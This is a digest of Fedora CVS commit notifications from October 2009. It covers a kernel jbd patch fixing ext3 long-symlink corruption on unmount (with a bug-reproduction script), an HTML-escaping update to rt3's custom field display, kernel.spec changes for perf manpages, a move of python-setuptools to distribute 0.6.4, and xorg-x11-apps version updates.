Subject: rpms/kernel/F-10 jbd-fix-return-value-of-journal-start-commit.patch,
	NONE, 1.1.2.1 kernel.spec, 1.1206.2.103, 1.1206.2.104
Message-ID: <20091013011922.8790F11C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21621

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	jbd-fix-return-value-of-journal-start-commit.patch 
Log Message:
Add jbd fix for file corruption (the jbd2 version is already in.)

jbd-fix-return-value-of-journal-start-commit.patch:
 journal.c |   17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

--- NEW FILE jbd-fix-return-value-of-journal-start-commit.patch ---
From: Jan Kara <jack at suse.cz>
Date: Wed, 11 Feb 2009 21:04:25 +0000 (-0800)
Subject: jbd: fix return value of journal_start_commit()
X-Git-Tag: v2.6.29-rc5~24
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=8fe4cd0dc5ea43760c59eb256404188272cc95dd

jbd: fix return value of journal_start_commit()

journal_start_commit() returns 1 if either a transaction is committing or
the function has queued a transaction commit.  But it returns 0 if we
raced with somebody queueing the transaction commit as well.  This
resulted in ext3_sync_fs() not functioning correctly (description from
Arthur Jones): In the case of a data=ordered umount with pending long
symlinks which are delayed due to a long list of other I/O on the backing
block device, this causes the buffer associated with the long symlinks to
not be moved to the inode dirty list in the second phase of fsync_super.
Then, before they can be dirtied again, kjournald exits, seeing the UMOUNT
flag and the dirty pages are never written to the backing block device,
causing long symlink corruption and exposing new or previously freed block
data to userspace.

This can be reproduced with a script created by Eric Sandeen
<sandeen at redhat.com>:

        #!/bin/bash

        umount /mnt/test2
        mount /dev/sdb4 /mnt/test2
        rm -f /mnt/test2/*
        dd if=/dev/zero of=/mnt/test2/bigfile bs=1M count=512
        touch /mnt/test2/thisisveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryverylongfilename
        ln -s /mnt/test2/thisisveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryverylongfilename
        /mnt/test2/link
        umount /mnt/test2
        mount /dev/sdb4 /mnt/test2
        ls /mnt/test2/

This patch fixes journal_start_commit() to always return 1 when there's
a transaction committing or queued for commit.

Cc: Eric Sandeen <sandeen at redhat.com>
Cc: Mike Snitzer <snitzer at gmail.com>
Cc: <linux-ext4 at vger.kernel.org>
Signed-off-by: Jan Kara <jack at suse.cz>
Signed-off-by: Andrew Morton <akpm at linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
---

diff --git a/fs/jbd/journal.c b/fs/jbd/journal.c
index 9e4fa52..e79c078 100644
--- a/fs/jbd/journal.c
+++ b/fs/jbd/journal.c
@@ -427,7 +427,7 @@ int __log_space_left(journal_t *journal)
 }
 
 /*
- * Called under j_state_lock.  Returns true if a transaction was started.
+ * Called under j_state_lock.  Returns true if a transaction commit was started.
  */
 int __log_start_commit(journal_t *journal, tid_t target)
 {
@@ -495,7 +495,8 @@ int journal_force_commit_nested(journal_t *journal)
 
 /*
  * Start a commit of the current running transaction (if any).  Returns true
- * if a transaction was started, and fills its tid in at *ptid
+ * if a transaction is going to be committed (or is currently already
+ * committing), and fills its tid in at *ptid
  */
 int journal_start_commit(journal_t *journal, tid_t *ptid)
 {
@@ -505,15 +506,19 @@ int journal_start_commit(journal_t *journal, tid_t *ptid)
 	if (journal->j_running_transaction) {
 		tid_t tid = journal->j_running_transaction->t_tid;
 
-		ret = __log_start_commit(journal, tid);
-		if (ret && ptid)
+		__log_start_commit(journal, tid);
+		/* There's a running transaction and we've just made sure
+		 * it's commit has been scheduled. */
+		if (ptid)
 			*ptid = tid;
-	} else if (journal->j_committing_transaction && ptid) {
+		ret = 1;
+	} else if (journal->j_committing_transaction) {
 		/*
 		 * If ext3_write_super() recently started a commit, then we
 		 * have to wait for completion of that transaction
 		 */
-		*ptid = journal->j_committing_transaction->t_tid;
+		if (ptid)
+			*ptid = journal->j_committing_transaction->t_tid;
 		ret = 1;
 	}
 	spin_unlock(&journal->j_state_lock);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.103
retrieving revision 1.1206.2.104
diff -u -p -r1.1206.2.103 -r1.1206.2.104
--- kernel.spec	13 Oct 2009 00:36:57 -0000	1.1206.2.103
+++ kernel.spec	13 Oct 2009 01:19:20 -0000	1.1206.2.104
@@ -797,6 +797,9 @@ Patch15250: x86-fix-csum_ipv6_magic-asm-
 # Fix broken IrDA stack in 2.6.27 (#508874)
 Patch15300: irda-add-irda-skb-cb-qdisc-related-padding.patch
 
+# Fix ext3 file corruption in some cases
+Patch15400: jbd-fix-return-value-of-journal-start-commit.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1443,6 +1446,9 @@ ApplyPatch x86-fix-csum_ipv6_magic-asm-m
 # Fix broken IrDA stack in 2.6.27 (#508874)
 ApplyPatch irda-add-irda-skb-cb-qdisc-related-padding.patch
 
+# Fix ext3 file corruption in some cases
+ApplyPatch jbd-fix-return-value-of-journal-start-commit.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2018,6 +2024,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Mon Oct 12 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.104
+- Add jbd fix for file corruption (the jbd2 version is already in.)
+
 * Mon Oct 12 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.103
 - Linux 2.6.27.37
 



From corsepiu at fedoraproject.org  Tue Oct 13 01:55:10 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 01:55:10 +0000 (UTC)
Subject: rpms/rt3/F-12 rt-3.8.4-rh-bz526870.diff,1.1,1.2 rt3.spec,1.44,1.45
Message-ID: <20091013015510.CF30911C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5992

Modified Files:
	rt-3.8.4-rh-bz526870.diff rt3.spec 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-6
- Update rt-3.8.4-rh-bz526870.diff.


rt-3.8.4-rh-bz526870.diff:
 ShowCustomFields |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: rt-3.8.4-rh-bz526870.diff
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-12/rt-3.8.4-rh-bz526870.diff,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rt-3.8.4-rh-bz526870.diff	12 Oct 2009 15:25:40 -0000	1.1
+++ rt-3.8.4-rh-bz526870.diff	13 Oct 2009 01:55:10 -0000	1.2
@@ -1,6 +1,7 @@
---- a/share/html/Elements/ShowCustomFields
-+++ b/share/html/Elements/ShowCustomFields
-@@ -92,7 +92,7 @@ my $print_value = sub {
+diff -Naur rt-3.8.4.orig/share/html/Elements/ShowCustomFields rt-3.8.4/share/html/Elements/ShowCustomFields
+--- rt-3.8.4.orig/share/html/Elements/ShowCustomFields	2009-06-10 20:40:27.000000000 +0200
++++ rt-3.8.4/share/html/Elements/ShowCustomFields	2009-10-12 16:45:38.000000000 +0200
+@@ -89,7 +89,7 @@
      if ( $m->comp_exists( $comp ) ) {
          $m->comp( $comp, Object => $value );
      } else {
@@ -8,3 +9,4 @@
 +        $m->out( $m->interp->apply_escapes( $value->Content, 'h' ) );
      }
      $m->out('</a>') if $linked;
+ 


Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-12/rt3.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- rt3.spec	12 Oct 2009 15:34:09 -0000	1.44
+++ rt3.spec	13 Oct 2009 01:55:10 -0000	1.45
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.4
-Release:	5%{?dist}
+Release:	6%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -437,6 +437,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-6
+- Update rt-3.8.4-rh-bz526870.diff.
+
 * Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-5
 - Bump Release:.
 



From corsepiu at fedoraproject.org  Tue Oct 13 02:10:41 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 02:10:41 +0000 (UTC)
Subject: rpms/rt3/F-11 rt3.spec,1.42,1.43
Message-ID: <20091013021041.2232C11C02A1@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10849

Modified Files:
	rt3.spec 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-11
- Update rt-3.8.2-rh-bz526870.diff.



Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-11/rt3.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- rt3.spec	12 Oct 2009 15:36:18 -0000	1.42
+++ rt3.spec	13 Oct 2009 02:10:40 -0000	1.43
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.2
-Release:	10%{?dist}
+Release:	11%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -444,6 +444,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-11
+- Update rt-3.8.2-rh-bz526870.diff.
+
 * Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-10
 - Add rt-3.8.2-rh-bz526870.diff (BZ #526870).
 



From kyle at fedoraproject.org  Tue Oct 13 02:24:29 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Tue, 13 Oct 2009 02:24:29 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1863,1.1864
Message-ID: <20091013022429.B393D11C00DB@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14184

Modified Files:
	kernel.spec 
Log Message:
* Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com>
- Build the perf manpages properly.



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1863
retrieving revision 1.1864
diff -u -p -r1.1863 -r1.1864
--- kernel.spec	13 Oct 2009 00:47:16 -0000	1.1863
+++ kernel.spec	13 Oct 2009 02:24:29 -0000	1.1864
@@ -1728,7 +1728,9 @@ BuildKernel vmlinux vmlinux kdump vmlinu
 make %{?_smp_mflags} htmldocs mandocs || %{doc_build_fail}
 
 %if %{with_perf}
+pushd tools/perf
 make %{?_smp_mflags} man || %{doc_build_fail}
+popd
 %endif
 
 # sometimes non-world-readable files sneak into the kernel source tree
@@ -2060,6 +2062,9 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com>
+- Build the perf manpages properly.
+
 * Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-77
 - Fix boot hang with ACPI on some systems.
 



From kyle at fedoraproject.org  Tue Oct 13 02:25:31 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Tue, 13 Oct 2009 02:25:31 +0000 (UTC)
Subject: rpms/kernel/devel kernel.spec,1.1824,1.1825
Message-ID: <20091013022531.2164811C00DB@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14389

Modified Files:
	kernel.spec 
Log Message:
* Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
- Build perf manpages properly.



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1824
retrieving revision 1.1825
diff -u -p -r1.1824 -r1.1825
--- kernel.spec	12 Oct 2009 20:44:19 -0000	1.1824
+++ kernel.spec	13 Oct 2009 02:25:30 -0000	1.1825
@@ -1638,7 +1638,9 @@ BuildKernel vmlinux vmlinux kdump vmlinu
 make %{?_smp_mflags} htmldocs mandocs || %{doc_build_fail}
 
 %if %{with_perf}
+pushd tools/perf
 make %{?_smp_mflags} man || %{doc_build_fail}
+popd
 %endif
 
 # sometimes non-world-readable files sneak into the kernel source tree
@@ -1976,6 +1978,9 @@ fi
 # ##############################################################
 
 %changelog
+* Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
+- Build perf manpages properly.
+
 * Tue Oct 13 2009 Dave Airlie <airlied at redhat.com>
 - cleanup some of drm vga arb bits that are upstream
 



From corsepiu at fedoraproject.org  Tue Oct 13 02:41:00 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 02:41:00 +0000 (UTC)
Subject: rpms/rt3/F-10 rt3.spec,1.41,1.42
Message-ID: <20091013024100.D4A6711C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17510

Modified Files:
	rt3.spec 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-11
- Update rt-3.8.2-rh-bz526870.diff.



Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-10/rt3.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- rt3.spec	12 Oct 2009 15:37:42 -0000	1.41
+++ rt3.spec	13 Oct 2009 02:41:00 -0000	1.42
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.2
-Release:	10%{?dist}
+Release:	11%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -444,6 +444,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-11
+- Update rt-3.8.2-rh-bz526870.diff.
+
 * Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-10
 - Add rt-3.8.2-rh-bz526870.diff (BZ #526870).
 



From kyle at fedoraproject.org  Tue Oct 13 03:13:13 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Tue, 13 Oct 2009 03:13:13 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1864,1.1865
Message-ID: <20091013031314.05B9911C00DB@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24666

Modified Files:
	kernel.spec 
Log Message:
* Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
- Always build perf docs, regardless of whether we build kernel-doc.
  Seems rather unfair to not ship the manpages half the time.
  Also, drop BuildRequires %if when not with_doc, the rules about %if
  there are f*!&^ing complicated.



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1864
retrieving revision 1.1865
diff -u -p -r1.1864 -r1.1865
--- kernel.spec	13 Oct 2009 02:24:29 -0000	1.1864
+++ kernel.spec	13 Oct 2009 03:13:12 -0000	1.1865
@@ -490,12 +490,7 @@ BuildRequires: module-init-tools, patch 
 BuildRequires: bzip2, findutils, gzip, m4, perl, make >= 3.78, diffutils, gawk
 BuildRequires: gcc >= 3.4.2, binutils >= 2.12, redhat-rpm-config
 BuildRequires: net-tools
-%if %{with_doc}
-BuildRequires: xmlto
-%if %{with_perf}
-BuildRequires: asciidoc
-%endif
-%endif
+BuildRequires: xmlto, asciidoc
 %if %{with_sparse}
 BuildRequires: sparse >= 0.4.1
 %endif
@@ -1727,17 +1722,16 @@ BuildKernel vmlinux vmlinux kdump vmlinu
 # Make the HTML and man pages.
 make %{?_smp_mflags} htmldocs mandocs || %{doc_build_fail}
 
-%if %{with_perf}
-pushd tools/perf
-make %{?_smp_mflags} man || %{doc_build_fail}
-popd
-%endif
-
 # sometimes non-world-readable files sneak into the kernel source tree
 chmod -R a=rX Documentation
 find Documentation -type d | xargs chmod u+w
 %endif
 
+%if %{with_perf}
+pushd tools/perf
+make %{?_smp_mflags} man || %{doc_build_fail}
+popd
+%endif
 
 ###
 ### Special hacks for debuginfo subpackages.
@@ -1781,6 +1775,7 @@ mkdir -p $man9dir
 find Documentation/DocBook/man -name '*.9.gz' -print0 |
 xargs -0 --no-run-if-empty %{__install} -m 444 -t $man9dir $m
 ls $man9dir | grep -q '' || > $man9dir/BROKEN
+%endif # with_doc
 
 # perf docs
 %if %{with_perf}
@@ -1795,9 +1790,7 @@ for d in *.1; do
  gzip $d;
 done
 popd
-
-%endif
-%endif
+%endif # with_perf
 
 # perf shell wrapper
 %if %{with_perf}
@@ -1981,10 +1974,8 @@ fi
 %defattr(-,root,root)
 %{_datadir}/doc/perf
 /usr/sbin/perf
-%if %{with_doc}
 %{_datadir}/man/man1/*
 %endif
-%endif
 
 # This is %{image_install_path} on an arch where that includes ELF files,
 # or empty otherwise.
@@ -2062,6 +2053,12 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
+- Always build perf docs, regardless of whether we build kernel-doc.
+  Seems rather unfair to not ship the manpages half the time.
+  Also, drop BuildRequires %if when not with_doc, the rules about %if
+  there are f*!&^ing complicated.
+
 * Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com>
 - Build the perf manpages properly.
 



From kyle at fedoraproject.org  Tue Oct 13 03:13:16 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Tue, 13 Oct 2009 03:13:16 +0000 (UTC)
Subject: rpms/kernel/devel kernel.spec,1.1825,1.1826
Message-ID: <20091013031316.B6BB611C00DB@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24706

Modified Files:
	kernel.spec 
Log Message:
* Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
- Always build perf docs, regardless of whether we build kernel-doc.
  Seems rather unfair to not ship the manpages half the time.
  Also, drop BuildRequires %if when not with_doc, the rules about %if
  there are f*!&^ing complicated.



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1825
retrieving revision 1.1826
diff -u -p -r1.1825 -r1.1826
--- kernel.spec	13 Oct 2009 02:25:30 -0000	1.1825
+++ kernel.spec	13 Oct 2009 03:13:16 -0000	1.1826
@@ -491,12 +491,7 @@ BuildRequires: module-init-tools, patch 
 BuildRequires: bzip2, findutils, gzip, m4, perl, make >= 3.78, diffutils, gawk
 BuildRequires: gcc >= 3.4.2, binutils >= 2.12, redhat-rpm-config
 BuildRequires: net-tools
-%if %{with_doc}
-BuildRequires: xmlto
-%if %{with_perf}
-BuildRequires: asciidoc
-%endif
-%endif
+BuildRequires: xmlto, asciidoc
 %if %{with_sparse}
 BuildRequires: sparse >= 0.4.1
 %endif
@@ -1637,17 +1632,16 @@ BuildKernel vmlinux vmlinux kdump vmlinu
 # Make the HTML and man pages.
 make %{?_smp_mflags} htmldocs mandocs || %{doc_build_fail}
 
-%if %{with_perf}
-pushd tools/perf
-make %{?_smp_mflags} man || %{doc_build_fail}
-popd
-%endif
-
 # sometimes non-world-readable files sneak into the kernel source tree
 chmod -R a=rX Documentation
 find Documentation -type d | xargs chmod u+w
 %endif
 
+%if %{with_perf}
+pushd tools/perf
+make %{?_smp_mflags} man || %{doc_build_fail}
+popd
+%endif
 
 ###
 ### Special hacks for debuginfo subpackages.
@@ -1691,6 +1685,7 @@ mkdir -p $man9dir
 find Documentation/DocBook/man -name '*.9.gz' -print0 |
 xargs -0 --no-run-if-empty %{__install} -m 444 -t $man9dir $m
 ls $man9dir | grep -q '' || > $man9dir/BROKEN
+%endif # with_doc
 
 # perf docs
 %if %{with_perf}
@@ -1705,9 +1700,7 @@ for d in *.1; do
  gzip $d;
 done
 popd
-
-%endif
-%endif
+%endif # with_perf
 
 # perf shell wrapper
 %if %{with_perf}
@@ -1891,10 +1884,8 @@ fi
 %defattr(-,root,root)
 %{_datadir}/doc/perf
 /usr/sbin/perf
-%if %{with_doc}
 %{_datadir}/man/man1/*
 %endif
-%endif
 
 # This is %{image_install_path} on an arch where that includes ELF files,
 # or empty otherwise.
@@ -1979,6 +1970,12 @@ fi
 
 %changelog
 * Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
+- Always build perf docs, regardless of whether we build kernel-doc.
+  Seems rather unfair to not ship the manpages half the time.
+  Also, drop BuildRequires %if when not with_doc, the rules about %if
+  there are f*!&^ing complicated.
+
+* Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
 - Build perf manpages properly.
 
 * Tue Oct 13 2009 Dave Airlie <airlied at redhat.com>



From toshio at fedoraproject.org  Tue Oct 13 03:36:23 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Tue, 13 Oct 2009 03:36:23 +0000 (UTC)
Subject: rpms/python-setuptools/devel .cvsignore, 1.13,
	1.14 python-setuptools.spec, 1.21, 1.22 sources, 1.13, 1.14
Message-ID: <20091013033623.9D7F111C0267@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-setuptools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30482

Modified Files:
	.cvsignore python-setuptools.spec sources 
Log Message:

* Mon Oct 12 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.6.4-1
- First build from the distribute codebase -- distribute-0.6.4.
- Remove svn patch as upstream has chosen to go with an easier change for now.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-setuptools/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	23 Nov 2008 19:41:34 -0000	1.13
+++ .cvsignore	13 Oct 2009 03:36:23 -0000	1.14
@@ -1 +1 @@
-setuptools-0.6c9.tar.gz
+distribute-0.6.4.tar.gz


Index: python-setuptools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-setuptools/devel/python-setuptools.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- python-setuptools.spec	26 Jul 2009 21:03:38 -0000	1.21
+++ python-setuptools.spec	13 Oct 2009 03:36:23 -0000	1.22
@@ -1,17 +1,21 @@
-%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+
+%global srcname distribute
 
 Name:           python-setuptools
-Version:        0.6c9
-Release:        5%{?dist}
+Version:        0.6.4
+Release:        1%{?dist}
 Summary:        Easily build and distribute Python packages
 
 Group:          Applications/System
 License:        Python or ZPLv2.0
-URL:            http://pypi.python.org/pypi/setuptools
-Source0:        http://pypi.python.org/packages/source/s/setuptools/setuptools-%{version}.tar.gz
+URL:            http://pypi.python.org/pypi/%{srcname}
+Source0:        http://pypi.python.org/packages/source/d/%{srcname}/%{srcname}-%{version}.tar.gz
 Source1:        psfl.txt
 Source2:        zpl.txt
-Patch0:         http://bugs.python.org/setuptools/file55/svn_versioning_4.patch
+# Upstream has chosen to improve this incrementally for now by whitelisting the
+# new svn version.
+#Patch0:         http://bugs.python.org/setuptools/file55/svn_versioning_4.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -41,8 +45,7 @@ requiring setuptools.
 
 
 %prep
-%setup -q -n setuptools-%{version}
-%patch0 -p0 -b .svn16
+%setup -q -n %{srcname}-%{version}
 find -name '*.txt' | xargs chmod -x
 find -name '*.py' | xargs sed -i '1s|^#!python|#!%{__python}|'
 
@@ -57,9 +60,7 @@ CFLAGS="$RPM_OPT_FLAGS" %{__python} setu
 
 %install
 rm -rf $RPM_BUILD_ROOT
-%{__python} setup.py install -O1 --skip-build \
-    --root $RPM_BUILD_ROOT \
-    --single-version-externally-managed
+%{__python} setup.py install --skip-build --root $RPM_BUILD_ROOT
 
 rm -rf $RPM_BUILD_ROOT%{python_sitelib}/setuptools/tests
 
@@ -74,18 +75,21 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc psfl.txt zpl.txt pkg_resources.txt setuptools.txt
+%doc psfl.txt zpl.txt docs
 %{python_sitelib}/*
 %exclude %{python_sitelib}/easy_install*
 
 %files devel
 %defattr(-,root,root,-)
-%doc psfl.txt zpl.txt EasyInstall.txt README.txt api_tests.txt
 %{python_sitelib}/easy_install*
 %{_bindir}/*
 
 
 %changelog
+* Mon Oct 12 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.6.4-1
+- First build from the distribute codebase -- distribute-0.6.4.
+- Remove svn patch as upstream has chosen to go with an easier change for now.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6c9-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-setuptools/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	23 Nov 2008 19:41:34 -0000	1.13
+++ sources	13 Oct 2009 03:36:23 -0000	1.14
@@ -1 +1 @@
-3864c01d9c719c8924c455714492295e  setuptools-0.6c9.tar.gz
+7a963679fddc64a0e363b2ccf8024952  distribute-0.6.4.tar.gz



From whot at fedoraproject.org  Tue Oct 13 06:01:39 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue, 13 Oct 2009 06:01:39 +0000 (UTC)
Subject: rpms/xorg-x11-apps/devel .cvsignore, 1.19, 1.20 sources, 1.19,
	1.20 xorg-x11-apps.spec, 1.43, 1.44
Message-ID: <20091013060139.8C68C11C00E8@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-apps/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30110

Modified Files:
	.cvsignore sources xorg-x11-apps.spec 
Log Message:
* Tue Oct 13 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-8
- xinput 1.5.0
- xwud 1.0.2
- xkill 1.0.2
- xmag 1.0.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	7 Oct 2009 18:19:45 -0000	1.19
+++ .cvsignore	13 Oct 2009 06:01:37 -0000	1.20
@@ -6,16 +6,16 @@ xclipboard-1.0.1.tar.bz2
 xclock-1.0.4.tar.bz2
 xcursorgen-1.0.2.tar.bz2
 xeyes-1.0.1.tar.bz2
-xkill-1.0.1.tar.bz2
+xkill-1.0.2.tar.bz2
 xload-1.0.2.tar.bz2
 xlogo-1.0.1.tar.bz2
-xmag-1.0.2.tar.bz2
+xmag-1.0.3.tar.bz2
 xpr-1.0.2.tar.bz2
 xwd-1.0.1.tar.bz2
-xwud-1.0.1.tar.bz2
+xwud-1.0.2.tar.bz2
 xconsole-1.0.3.tar.bz2
 xmessage-1.0.2.tar.bz2
-xinput-1.4.99.3.tar.bz2
+xinput-1.5.0.tar.bz2
 xfd-1.0.1.tar.bz2
 xfontsel-1.0.2.tar.bz2
 xvidtune-1.0.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	7 Oct 2009 18:19:45 -0000	1.19
+++ sources	13 Oct 2009 06:01:37 -0000	1.20
@@ -5,16 +5,16 @@ fd06c8b8e3572a0e14af65a49e0dd7d1  x11per
 bb9fd5e00d39c348a0078b97fdf8258f  xclock-1.0.4.tar.bz2
 6fc90896b8c786cb1a2100b4167f7874  xcursorgen-1.0.2.tar.bz2
 033f14f7c4e30d1f4edbb22d5ef86883  xeyes-1.0.1.tar.bz2
-f66d76abb0f75514ca32272e23cca757  xkill-1.0.1.tar.bz2
+dca031355b4afcf8517a8258eeb730c3  xkill-1.0.2.tar.bz2
 b41ed6b4bcfc9897366c27a94d2bf150  xload-1.0.2.tar.bz2
 4c5482552f38a7d42398a694cc9b2ee6  xlogo-1.0.1.tar.bz2
-7c6a783e42c88360ac31d259a864a19d  xmag-1.0.2.tar.bz2
+32f7ed4c089365cadb9382f6fbd750a9  xmag-1.0.3.tar.bz2
 6b3a6896081f628bf5a2c9129417c86f  xpr-1.0.2.tar.bz2
 911addfb7fa402217ddac63e5c1d97c7  xwd-1.0.1.tar.bz2
-6e3c5d0297d88e890b6f5df31f73dd60  xwud-1.0.1.tar.bz2
+20bc5d85634964d4ceee77cdfcd131ed  xwud-1.0.2.tar.bz2
